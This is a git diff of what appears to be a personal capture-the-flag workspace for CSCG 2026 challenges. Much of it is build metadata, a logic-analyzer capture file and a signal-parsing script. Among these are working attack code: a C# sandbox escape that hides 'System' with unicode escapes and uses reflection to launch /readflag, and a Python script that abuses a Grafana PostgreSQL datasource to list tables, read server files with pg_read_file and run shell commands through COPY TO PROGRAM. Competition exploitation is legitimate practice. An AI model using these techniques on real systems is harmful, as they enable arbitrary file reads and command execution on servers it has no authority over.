<NuGetPackageFolders Condition=" '$(NuGetPackageFolders)' == '' ">/home/cato/.nuget/packages/</NuGetPackageFolders>
<NuGetProjectStyle Condition=" '$(NuGetProjectStyle)' == '' ">PackageReference</NuGetProjectStyle>
<NuGetToolVersion Condition=" '$(NuGetToolVersion)' == '' ">7.0.0</NuGetToolVersion>
</PropertyGroup>
<ItemGroup Condition=" '$(ExcludeRestorePackageImports)' != 'true' ">
<SourceRoot Include="/home/cato/.nuget/packages/" />
</ItemGroup>
<ImportGroup Condition=" '$(ExcludeRestorePackageImports)' != 'true' ">
<Import Project="$(NuGetPackageRoot)microsoft.codeanalysis.analyzers/3.3.4/buildTransitive/Microsoft.CodeAnalysis.Analyzers.props" Condition="Exists('$(NuGetPackageRoot)microsoft.codeanalysis.analyzers/3.3.4/buildTransitive/Microsoft.CodeAnalysis.Analyzers.props')" />
</ImportGroup>
<PropertyGroup Condition=" '$(ExcludeRestorePackageImports)' != 'true' ">
<PkgMicrosoft_CodeAnalysis_Analyzers Condition=" '$(PkgMicrosoft_CodeAnalysis_Analyzers)' == '' ">/home/cato/.nuget/packages/microsoft.codeanalysis.analyzers/3.3.4</PkgMicrosoft_CodeAnalysis_Analyzers>
</PropertyGroup>
</Project>

View File

@@ -0,0 +1,7 @@
<?xml version="1.0" encoding="utf-8" standalone="no"?>
<Project ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ImportGroup Condition=" '$(ExcludeRestorePackageImports)' != 'true' ">
<Import Project="$(NuGetPackageRoot)system.text.json/9.0.0/buildTransitive/net8.0/System.Text.Json.targets" Condition="Exists('$(NuGetPackageRoot)system.text.json/9.0.0/buildTransitive/net8.0/System.Text.Json.targets')" />
<Import Project="$(NuGetPackageRoot)microsoft.codeanalysis.analyzers/3.3.4/buildTransitive/Microsoft.CodeAnalysis.Analyzers.targets" Condition="Exists('$(NuGetPackageRoot)microsoft.codeanalysis.analyzers/3.3.4/buildTransitive/Microsoft.CodeAnalysis.Analyzers.targets')" />
</ImportGroup>
</Project>

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,32 @@
{
"version": 2,
"dgSpecHash": "KhMu7Qt8IeQ=",
"success": true,
"projectFilePath": "/home/cato/ctf/2026/cscg/misc/cs-script-time/cs-script-time.csproj",
"expectedPackageFiles": [
"/home/cato/.nuget/packages/cs-script/4.8.27/cs-script.4.8.27.nupkg.sha512",
"/home/cato/.nuget/packages/microsoft.codeanalysis.analyzers/3.3.4/microsoft.codeanalysis.analyzers.3.3.4.nupkg.sha512",
"/home/cato/.nuget/packages/microsoft.codeanalysis.common/4.11.0/microsoft.codeanalysis.common.4.11.0.nupkg.sha512",
"/home/cato/.nuget/packages/microsoft.codeanalysis.csharp/4.11.0/microsoft.codeanalysis.csharp.4.11.0.nupkg.sha512",
"/home/cato/.nuget/packages/microsoft.codeanalysis.csharp.scripting/4.11.0/microsoft.codeanalysis.csharp.scripting.4.11.0.nupkg.sha512",
"/home/cato/.nuget/packages/microsoft.codeanalysis.scripting.common/4.11.0/microsoft.codeanalysis.scripting.common.4.11.0.nupkg.sha512",
"/home/cato/.nuget/packages/microsoft.csharp/4.7.0/microsoft.csharp.4.7.0.nupkg.sha512",
"/home/cato/.nuget/packages/microsoft.extensions.dependencymodel/9.0.0/microsoft.extensions.dependencymodel.9.0.0.nupkg.sha512",
"/home/cato/.nuget/packages/microsoft.netcore.platforms/1.1.0/microsoft.netcore.platforms.1.1.0.nupkg.sha512",
"/home/cato/.nuget/packages/microsoft.netcore.targets/1.1.0/microsoft.netcore.targets.1.1.0.nupkg.sha512",
"/home/cato/.nuget/packages/system.collections.immutable/8.0.0/system.collections.immutable.8.0.0.nupkg.sha512",
"/home/cato/.nuget/packages/system.io/4.3.0/system.io.4.3.0.nupkg.sha512",
"/home/cato/.nuget/packages/system.reflection/4.3.0/system.reflection.4.3.0.nupkg.sha512",
"/home/cato/.nuget/packages/system.reflection.metadata/8.0.0/system.reflection.metadata.8.0.0.nupkg.sha512",
"/home/cato/.nuget/packages/system.reflection.primitives/4.3.0/system.reflection.primitives.4.3.0.nupkg.sha512",
"/home/cato/.nuget/packages/system.runtime/4.3.0/system.runtime.4.3.0.nupkg.sha512",
"/home/cato/.nuget/packages/system.runtime.loader/4.3.0/system.runtime.loader.4.3.0.nupkg.sha512",
"/home/cato/.nuget/packages/system.text.encoding/4.3.0/system.text.encoding.4.3.0.nupkg.sha512",
"/home/cato/.nuget/packages/system.text.json/9.0.0/system.text.json.9.0.0.nupkg.sha512",
"/home/cato/.nuget/packages/system.threading.tasks/4.3.0/system.threading.tasks.4.3.0.nupkg.sha512",
"/home/cato/.nuget/packages/microsoft.netcore.app.ref/9.0.13/microsoft.netcore.app.ref.9.0.13.nupkg.sha512",
"/home/cato/.nuget/packages/microsoft.aspnetcore.app.ref/9.0.13/microsoft.aspnetcore.app.ref.9.0.13.nupkg.sha512",
"/home/cato/.nuget/packages/microsoft.netcore.app.host.linux-x64/9.0.13/microsoft.netcore.app.host.linux-x64.9.0.13.nupkg.sha512"
],
"logs": []
}

View File

@@ -0,0 +1,3 @@
foreach(var asm in AppDomain.CurrentDomain.GetAssemblies()) {
result.Add(asm.FullName);
}

View File

@@ -0,0 +1 @@
dach2026{redacted}

View File

@@ -0,0 +1,15 @@
Sy\u0073tem.Func<string, Sy\u0073tem.Reflection.Assembly> loadAsm = Sy\u0073tem.Reflection.Assembly.Load;
dynamic procAsm = loadAsm("Sy\u0073tem.Diagnostics.Process");
var procType = procAsm.GetType("Sy\u0073tem.Diagnostics.Process");
var psiType = procAsm.GetType("Sy\u0073tem.Diagnostics.ProcessStartInfo");
dynamic psi = Sy\u0073tem.Activator.CreateInstance(psiType);
psi.FileName = "/readflag";
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
dynamic proc = Sy\u0073tem.Activator.CreateInstance(procType);
proc.StartInfo = psi;
proc.Start();
var flag = proc.StandardOutput.ReadToEnd();
proc.WaitForExit();
throw (Sy\u0073tem.Exception)Sy\u0073tem.Activator.CreateInstance(Sy\u0073tem.Type.GetType("Sy\u0073tem.Exception"), flag);
$EOF

Binary file not shown.

View File

@@ -0,0 +1,14 @@
#include <stdio.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/sendfile.h>
void main() {
struct stat buf;
int fd = open("/flag", O_RDONLY);
if (fd < 0) {
return;
}
fstat(fd, &buf);
sendfile(1, fd, 0, buf.st_size);
}

Binary file not shown.

Binary file not shown.

View File

@@ -0,0 +1,831 @@
{
"version": 19,
"data": {
"renderViewState": {
"type": "PanAndZoom",
"leftEdgeTimeSec": -1.1145551695846343,
"timeScaleSeconds": 3.9426457599999996
},
"captureStartTime": {
"unixTimeMilliseconds": 1749469648127,
"fractionalMilliseconds": 0.855
},
"timingMarkers": {
"markers": {},
"pairs": {}
},
"measurements": [],
"highLevelAnalyzers": [],
"analyzers": [],
"rowsSettings": [
{
"id": "797e5072-3f95-4b2e-8490-2dcf92c99235",
"height": 195,
"isMarkedHidden": false,
"type": "channel",
"name": "Channel 0",
"channel": {
"category": "legacy",
"type": "Digital",
"deviceChannel": 0
}
},
{
"id": "27bd0899-9c85-44ac-ad64-0e39509de769",
"height": 100,
"isMarkedHidden": false,
"type": "channel",
"name": "Channel 1",
"channel": {
"category": "legacy",
"type": "Digital",
"deviceChannel": 1
}
},
{
"id": "9400e5df-5a8b-4030-8f55-987032202103",
"height": 100,
"isMarkedHidden": false,
"type": "channel",
"name": "Channel 2",
"channel": {
"category": "legacy",
"type": "Digital",
"deviceChannel": 2
}
},
{
"id": "b531536f-84fc-4fc7-9b84-24601c8ccef2",
"height": 100,
"isMarkedHidden": false,
"type": "channel",
"name": "Channel 3",
"channel": {
"category": "legacy",
"type": "Digital",
"deviceChannel": 3
}
},
{
"id": "58f9845f-ae88-453e-b86e-382b78acdee9",
"height": 100,
"isMarkedHidden": false,
"type": "channel",
"name": "Channel 4",
"channel": {
"category": "legacy",
"type": "Digital",
"deviceChannel": 4
}
},
{
"id": "46ab3aef-f03a-457c-8bc8-21cc51d7695e",
"height": 100,
"isMarkedHidden": false,
"type": "channel",
"name": "Channel 5",
"channel": {
"category": "legacy",
"type": "Digital",
"deviceChannel": 5
}
},
{
"id": "b6cc0cbb-ecc9-4de4-8178-1af376ff6c02",
"height": 100,
"isMarkedHidden": false,
"type": "channel",
"name": "Channel 6",
"channel": {
"category": "legacy",
"type": "Digital",
"deviceChannel": 6
}
},
{
"id": "1e6e8a8e-5583-430e-a84a-3db6076a7979",
"height": 100,
"isMarkedHidden": false,
"type": "channel",
"name": "Channel 7",
"channel": {
"category": "legacy",
"type": "Digital",
"deviceChannel": 7
}
},
{
"id": "047dbb70-951d-45f8-a375-4d51b24a37a6",
"height": 100,
"isMarkedHidden": false,
"type": "channel",
"name": "Channel 8",
"channel": {
"category": "legacy",
"type": "Digital",
"deviceChannel": 8
}
},
{
"id": "4ae5ff53-2ca8-43fd-b208-075c044ee9e8",
"height": 100,
"isMarkedHidden": false,
"type": "channel",
"name": "Channel 9",
"channel": {
"category": "legacy",
"type": "Digital",
"deviceChannel": 9
}
},
{
"id": "898a50ba-951a-4a12-bd64-25ac81bf3981",
"height": 100,
"isMarkedHidden": false,
"type": "channel",
"name": "Channel 10",
"channel": {
"category": "legacy",
"type": "Digital",
"deviceChannel": 10
}
},
{
"id": "d24e1be4-f7bb-4cf6-bf07-f2a48c7ecca8",
"height": 100,
"isMarkedHidden": false,
"type": "channel",
"name": "Channel 11",
"channel": {
"category": "legacy",
"type": "Digital",
"deviceChannel": 11
}
},
{
"id": "2f26fce5-eec0-495f-bd69-e12720d5cc01",
"height": 100,
"isMarkedHidden": false,
"type": "channel",
"name": "Channel 12",
"channel": {
"category": "legacy",
"type": "Digital",
"deviceChannel": 12
}
},
{
"id": "3c87a264-3df9-4d40-8823-a6a3a8f6b34a",
"height": 100,
"isMarkedHidden": false,
"type": "channel",
"name": "Channel 13",
"channel": {
"category": "legacy",
"type": "Digital",
"deviceChannel": 13
}
},
{
"id": "47968856-2a7e-40a6-9925-29e9082ffd7e",
"height": 100,
"isMarkedHidden": false,
"type": "channel",
"name": "Channel 14",
"channel": {
"category": "legacy",
"type": "Digital",
"deviceChannel": 14
}
},
{
"id": "70843a87-8bb5-4604-8741-6ae5d34e7331",
"height": 100,
"isMarkedHidden": false,
"type": "channel",
"name": "Channel 15",
"channel": {
"category": "legacy",
"type": "Digital",
"deviceChannel": 15
}
},
{
"id": "12b18fa9-5d43-4fe9-90f5-c4daf801aa17",
"height": 205,
"isMarkedHidden": false,
"type": "channel",
"name": "Channel 0",
"channel": {
"category": "legacy",
"type": "Analog",
"deviceChannel": 0
},
"analogScalePerPixel": 0.022623757916959888,
"analogViewportCenterValue": 1.943783373301575
},
{
"id": "9daa1c7b-859e-4fa6-970a-35b98a4efb93",
"height": 100,
"isMarkedHidden": false,
"type": "channel",
"name": "Channel 1",
"channel": {
"category": "legacy",
"type": "Analog",
"deviceChannel": 1
},
"analogScalePerPixel": 0.014851967730682016,
"analogViewportCenterValue": 3.052089596581197
},
{
"id": "c3e20d57-413a-4df3-a77b-a0e26239e244",
"height": 197,
"isMarkedHidden": false,
"type": "channel",
"name": "Channel 2",
"channel": {
"category": "legacy",
"type": "Analog",
"deviceChannel": 2
},
"analogScalePerPixel": 0.007335748511317743,
"analogViewportCenterValue": 1.9871131938949946
},
{
"id": "3de7879c-06b7-4af4-a802-4ab891645dab",
"height": 403,
"isMarkedHidden": false,
"type": "channel",
"name": "Channel 3",
"channel": {
"category": "legacy",
"type": "Analog",
"deviceChannel": 3
},
"analogScalePerPixel": 0.01639574926009153,
"analogViewportCenterValue": 0.9231326538461533
},
{
"id": "3641c9dd-7154-46ea-a701-65469ab3fdab",
"height": 417,
"isMarkedHidden": false,
"type": "channel",
"name": "Channel 4",
"channel": {
"category": "legacy",
"type": "Analog",
"deviceChannel": 4
},
"analogScalePerPixel": 0.05903614457831321,
"analogViewportCenterValue": 0
},
{
"id": "c13d4042-9bb7-4b00-a5dc-9284d2cba234",
"height": 100,
"isMarkedHidden": false,
"type": "channel",
"name": "Channel 5",
"channel": {
"category": "legacy",
"type": "Analog",
"deviceChannel": 5
},
"analogScalePerPixel": 0.25,
"analogViewportCenterValue": 0
},
{
"id": "0cf8d017-d2e6-472d-ba11-f7ee3ae5f9ac",
"height": 100,
"isMarkedHidden": false,
"type": "channel",
"name": "Channel 6",
"channel": {
"category": "legacy",
"type": "Analog",
"deviceChannel": 6
},
"analogScalePerPixel": 0.25,
"analogViewportCenterValue": 0
},
{
"id": "302a7671-b649-4dcd-a177-394b2b43ed97",
"height": 100,
"isMarkedHidden": false,
"type": "channel",
"name": "Channel 7",
"channel": {
"category": "legacy",
"type": "Analog",
"deviceChannel": 7
},
"analogScalePerPixel": 0.25,
"analogViewportCenterValue": 0
},
{
"id": "e6951fbb-f88e-4c32-a0fa-e6f8265f9bd0",
"height": 100,
"isMarkedHidden": false,
"type": "channel",
"name": "Channel 8",
"channel": {
"category": "legacy",
"type": "Analog",
"deviceChannel": 8
},
"analogScalePerPixel": 0.25,
"analogViewportCenterValue": 0
},
{
"id": "ee3a4a2e-70a0-4101-bd36-571a7dca89c8",
"height": 100,
"isMarkedHidden": false,
"type": "channel",
"name": "Channel 9",
"channel": {
"category": "legacy",
"type": "Analog",
"deviceChannel": 9
},
"analogScalePerPixel": 0.25,
"analogViewportCenterValue": 0
},
{
"id": "d2646135-d34b-4291-b86f-efd1cd0d9b52",
"height": 100,
"isMarkedHidden": false,
"type": "channel",
"name": "Channel 10",
"channel": {
"category": "legacy",
"type": "Analog",
"deviceChannel": 10
},
"analogScalePerPixel": 0.25,
"analogViewportCenterValue": 0
},
{
"id": "6ac1a05e-a2ff-45f2-a081-4616305bba49",
"height": 100,
"isMarkedHidden": false,
"type": "channel",
"name": "Channel 11",
"channel": {
"category": "legacy",
"type": "Analog",
"deviceChannel": 11
},
"analogScalePerPixel": 0.25,
"analogViewportCenterValue": 0
},
{
"id": "210a8e82-5936-4a03-8992-dc7a1dd48c6e",
"height": 100,
"isMarkedHidden": false,
"type": "channel",
"name": "Channel 12",
"channel": {
"category": "legacy",
"type": "Analog",
"deviceChannel": 12
},
"analogScalePerPixel": 0.25,
"analogViewportCenterValue": 0
},
{
"id": "bc542a29-d64a-4ecf-ba4d-c4eda05483ad",
"height": 100,
"isMarkedHidden": false,
"type": "channel",
"name": "Channel 13",
"channel": {
"category": "legacy",
"type": "Analog",
"deviceChannel": 13
},
"analogScalePerPixel": 0.25,
"analogViewportCenterValue": 0
},
{
"id": "da6bcf50-c9fd-4475-8174-2a5cba574522",
"height": 100,
"isMarkedHidden": false,
"type": "channel",
"name": "Channel 14",
"channel": {
"category": "legacy",
"type": "Analog",
"deviceChannel": 14
},
"analogScalePerPixel": 0.25,
"analogViewportCenterValue": 0
},
{
"id": "f9b032e6-84ca-4374-8458-1976609aba93",
"height": 100,
"isMarkedHidden": false,
"type": "channel",
"name": "Channel 15",
"channel": {
"category": "legacy",
"type": "Analog",
"deviceChannel": 15
},
"analogScalePerPixel": 0.25,
"analogViewportCenterValue": 0
}
],
"captureSettings": {
"bufferSizeMb": 3072,
"timerModeSettings": {
"stopAfterSeconds": 100
},
"commonCaptureSettings": {
"trimAfterCapture": false,
"trimTimeSeconds": 5
},
"digitalTriggerSettings": {
"eventChannel": {
"category": "legacy",
"type": "Digital",
"deviceChannel": 0
},
"eventType": "Rising",
"linkedChannels": [],
"postTriggerBufferSeconds": 1,
"pulseDuration": {
"min": 0.001,
"max": 0.01
}
},
"scopeTriggerSettings": {
"eventType": "Rising",
"threshold": 1,
"hysteresisPercentage": 0.02,
"mode": "Auto",
"holdOffSeconds": 0.001,
"pulseDuration": {
"min": 0.001,
"max": 0.01
},
"realTriggerTimeoutViewRatio": 4,
"minRealTriggerTimeoutSeconds": 1,
"autoTriggerTimeoutViewRatio": 2
},
"captureMode": "FreeRun",
"captureTriggerType": "Digital"
},
"legacyDevice": {
"deviceId": "2982659303015174024",
"name": "Logic Pro 16",
"deviceType": "LogicPro16",
"isSimulation": false,
"capabilities": {
"channelCapabilities": [
{
"type": "Digital",
"index": 0,
"capability": "Toggleable"
},
{
"type": "Analog",
"index": 0,
"capability": "Toggleable"
},
{
"type": "Digital",
"index": 1,
"capability": "Toggleable"
},
{
"type": "Analog",
"index": 1,
"capability": "Toggleable"
},
{
"type": "Digital",
"index": 2,
"capability": "Toggleable"
},
{
"type": "Analog",
"index": 2,
"capability": "Toggleable"
},
{
"type": "Digital",
"index": 3,
"capability": "Toggleable"
},
{
"type": "Analog",
"index": 3,
"capability": "Toggleable"
},
{
"type": "Digital",
"index": 4,
"capability": "Toggleable"
},
{
"type": "Analog",
"index": 4,
"capability": "Toggleable"
},
{
"type": "Digital",
"index": 5,
"capability": "Toggleable"
},
{
"type": "Analog",
"index": 5,
"capability": "Toggleable"
},
{
"type": "Digital",
"index": 6,
"capability": "Toggleable"
},
{
"type": "Analog",
"index": 6,
"capability": "Toggleable"
},
{
"type": "Digital",
"index": 7,
"capability": "Toggleable"
},
{
"type": "Analog",
"index": 7,
"capability": "Toggleable"
},
{
"type": "Digital",
"index": 8,
"capability": "Toggleable"
},
{
"type": "Analog",
"index": 8,
"capability": "Toggleable"
},
{
"type": "Digital",
"index": 9,
"capability": "Toggleable"
},
{
"type": "Analog",
"index": 9,
"capability": "Toggleable"
},
{
"type": "Digital",
"index": 10,
"capability": "Toggleable"
},
{
"type": "Analog",
"index": 10,
"capability": "Toggleable"
},
{
"type": "Digital",
"index": 11,
"capability": "Toggleable"
},
{
"type": "Analog",
"index": 11,
"capability": "Toggleable"
},
{
"type": "Digital",
"index": 12,
"capability": "Toggleable"
},
{
"type": "Analog",
"index": 12,
"capability": "Toggleable"
},
{
"type": "Digital",
"index": 13,
"capability": "Toggleable"
},
{
"type": "Analog",
"index": 13,
"capability": "Toggleable"
},
{
"type": "Digital",
"index": 14,
"capability": "Toggleable"
},
{
"type": "Analog",
"index": 14,
"capability": "Toggleable"
},
{
"type": "Digital",
"index": 15,
"capability": "Toggleable"
},
{
"type": "Analog",
"index": 15,
"capability": "Toggleable"
}
],
"sampleRateOptions": [
{
"digital": 500000000
},
{
"digital": 250000000
},
{
"digital": 125000000
},
{
"digital": 100000000
},
{
"digital": 50000000
},
{
"digital": 25000000
},
{
"digital": 20000000
},
{
"digital": 12500000
},
{
"digital": 10000000
},
{
"digital": 6250000
},
{
"digital": 5000000
},
{
"digital": 4000000
},
{
"digital": 2500000
},
{
"digital": 2000000
},
{
"digital": 1000000
}
],
"digitalThresholdOptions": [
{
"description": "1.2 Volts"
},
{
"description": "1.8 Volts"
},
{
"description": "3.3+ Volts"
}
],
"isPhysicalDevice": true
}
},
"legacySettings": {
"enabledChannels": [
{
"type": "Digital",
"index": 0
}
],
"sampleRate": {
"digital": 125000000
},
"digitalThreshold": {
"description": "3.3+ Volts"
},
"glitchFilter": {
"enabled": false,
"channels": []
}
},
"digitalTriggerTime": -1,
"name": "Session 0",
"dataTable": {
"columns": {
"analyzerIdentifier": {
"isActive": true,
"width": 18,
"isDefault": true,
"baseKey": "analyzerIdentifier",
"excludeFromSearch": true
},
"frameType": {
"isActive": true,
"width": 75,
"isDefault": true,
"baseKey": "frameType",
"excludeFromSearch": false
},
"start": {
"isActive": true,
"width": 110,
"isDefault": true,
"baseKey": "start",
"excludeFromSearch": true
},
"duration": {
"isActive": true,
"width": 80,
"isDefault": true,
"baseKey": "duration",
"excludeFromSearch": true
},
"data_value": {
"width": 126,
"baseKey": "value",
"isActive": false
},
"data_data": {
"width": 75,
"baseKey": "data",
"isActive": false
},
"data_error": {
"width": 75,
"baseKey": "error",
"isActive": false
},
"data_identifier": {
"width": 75,
"baseKey": "identifier",
"isActive": false
},
"data_num_data_bytes": {
"width": 75,
"baseKey": "num_data_bytes",
"isActive": false
},
"data_crc": {
"width": 75,
"baseKey": "crc",
"isActive": false
},
"data_ack": {
"width": 75,
"baseKey": "ack",
"isActive": false
},
"data_RemoteFrame": {
"width": 75,
"baseKey": "RemoteFrame",
"isActive": false
},
"data_extended": {
"width": 75,
"baseKey": "extended",
"isActive": false
},
"data_Value": {
"width": 75,
"baseKey": "Value",
"isActive": false
}
}
},
"analyzerTrigger": {
"settings": {
"enabled": false,
"searchQuery": "",
"holdoffSeconds": 0.2
}
},
"timeManager": {
"t0": {
"type": "startOfCapture"
}
},
"captureNotes": ""
},
"binData": [
{
"category": "legacy",
"type": "Digital",
"deviceChannel": 0,
"file": "./digital-0.bin"
}
]
}

Binary file not shown.

View File

@@ -0,0 +1,54 @@
import struct
def parse_saleae_analog(filepath):
with open(filepath, 'rb') as f:
# 1. Parse the Main Header
# Format: < (little-endian), 8s (8-byte string), i (int32), i (int32), Q (uint64)
header_data = f.read(24) # 8 + 4 + 4 + 8 bytes
identifier, version, data_type, waveform_count = struct.unpack('<8s i i Q', header_data)
print(f"Identifier: {identifier.decode('ascii', errors='ignore')}")
print(f"Version: {version}")
print(f"Type: {data_type}")
print(f"Waveforms: {waveform_count}")
print("-" * 20)
# 2. Iterate through each waveform
for w in range(waveform_count):
# Parse Waveform Header
# Format: <, d (double), d (double), d (double), q (int64), Q (uint64)
wave_header_data = f.read(40) # 8 + 8 + 8 + 8 + 8 bytes
begin_time, trigger_time, sample_rate, downsample, num_samples = struct.unpack('<d d d q Q', wave_header_data)
print(f"Waveform {w+1}:")
print(f" Sample Rate: {sample_rate} Hz")
print(f" Total Samples: {num_samples}")
# 3. Read the Voltage Samples
# Format: <, f (float32). Reading chunk by chunk is much faster than loop by loop.
# We construct a dynamic format string based on num_samples
chunk_format = f'<{num_samples}f'
chunk_size = num_samples * 4 # 4 bytes per float32
raw_floats = f.read(chunk_size)
voltages = struct.unpack(chunk_format, raw_floats)
# Print the first 10 voltages just to verify
print(f" First 10 Voltages: {voltages[:10]}")
# --- CTF EXTRACTION LOGIC ---
# Let's turn these voltages back into a digital signal
# You will need to adjust this threshold based on what voltages you see!
threshold = 2.5
bitstream = []
for v in voltages:
if v > threshold:
bitstream.append('0') # Dominant
else:
bitstream.append('1') # Recessive
print(f" First 50 raw digital bits: {''.join(bitstream[:50])}")
# Run the parser
parse_saleae_analog('./patched.bin')

View File

View File

@@ -0,0 +1,43 @@
import json
import requests
def query(sql):
payload = {
"queries": [{
"refId": "A",
"datasource": {"type": "grafana-postgresql-datasource", "uid": "P44368ADAD746BC27"},
"rawSql": sql,
"format": "table",
"datasourceId": 1,
"intervalMs": 60000,
"maxDataPoints": 995
}],
"from": "1772651062151",
"to": "1772672662151"
}
r = requests.post(
"https://4gt4pfyloljfqjjoqn4csy5an7-3000-grafasaurus.challenge.cscg.live/api/ds/query",
data=json.dumps(payload),
headers={'Content-type': 'application/json'}
)
return r.text
def print_result(text):
result = json.loads(text)
values = result["results"]["A"]["frames"][0]["data"]["values"]
for col in values:
for val in col:
print(val)
def leak_tables():
print(query("SELECT table_schema, table_name FROM information_schema.tables ORDER BY table_schema, table_name"))
print(query("SELECT schemaname, tablename FROM pg_tables ORDER BY schemaname, tablename"))
def leak_file(path):
print(query(f"SELECT pg_read_file('{path}')"))
def execute_binary(cmd):
query(f"COPY (SELECT 1) TO PROGRAM '{cmd} > /tmp/out.txt 2>&1'")
print_result(query("SELECT pg_read_file('/tmp/out.txt')"))
execute_binary("ls /")

File diff suppressed because one or more lines are too long

Some files were not shown because too many files have changed in this diff Show More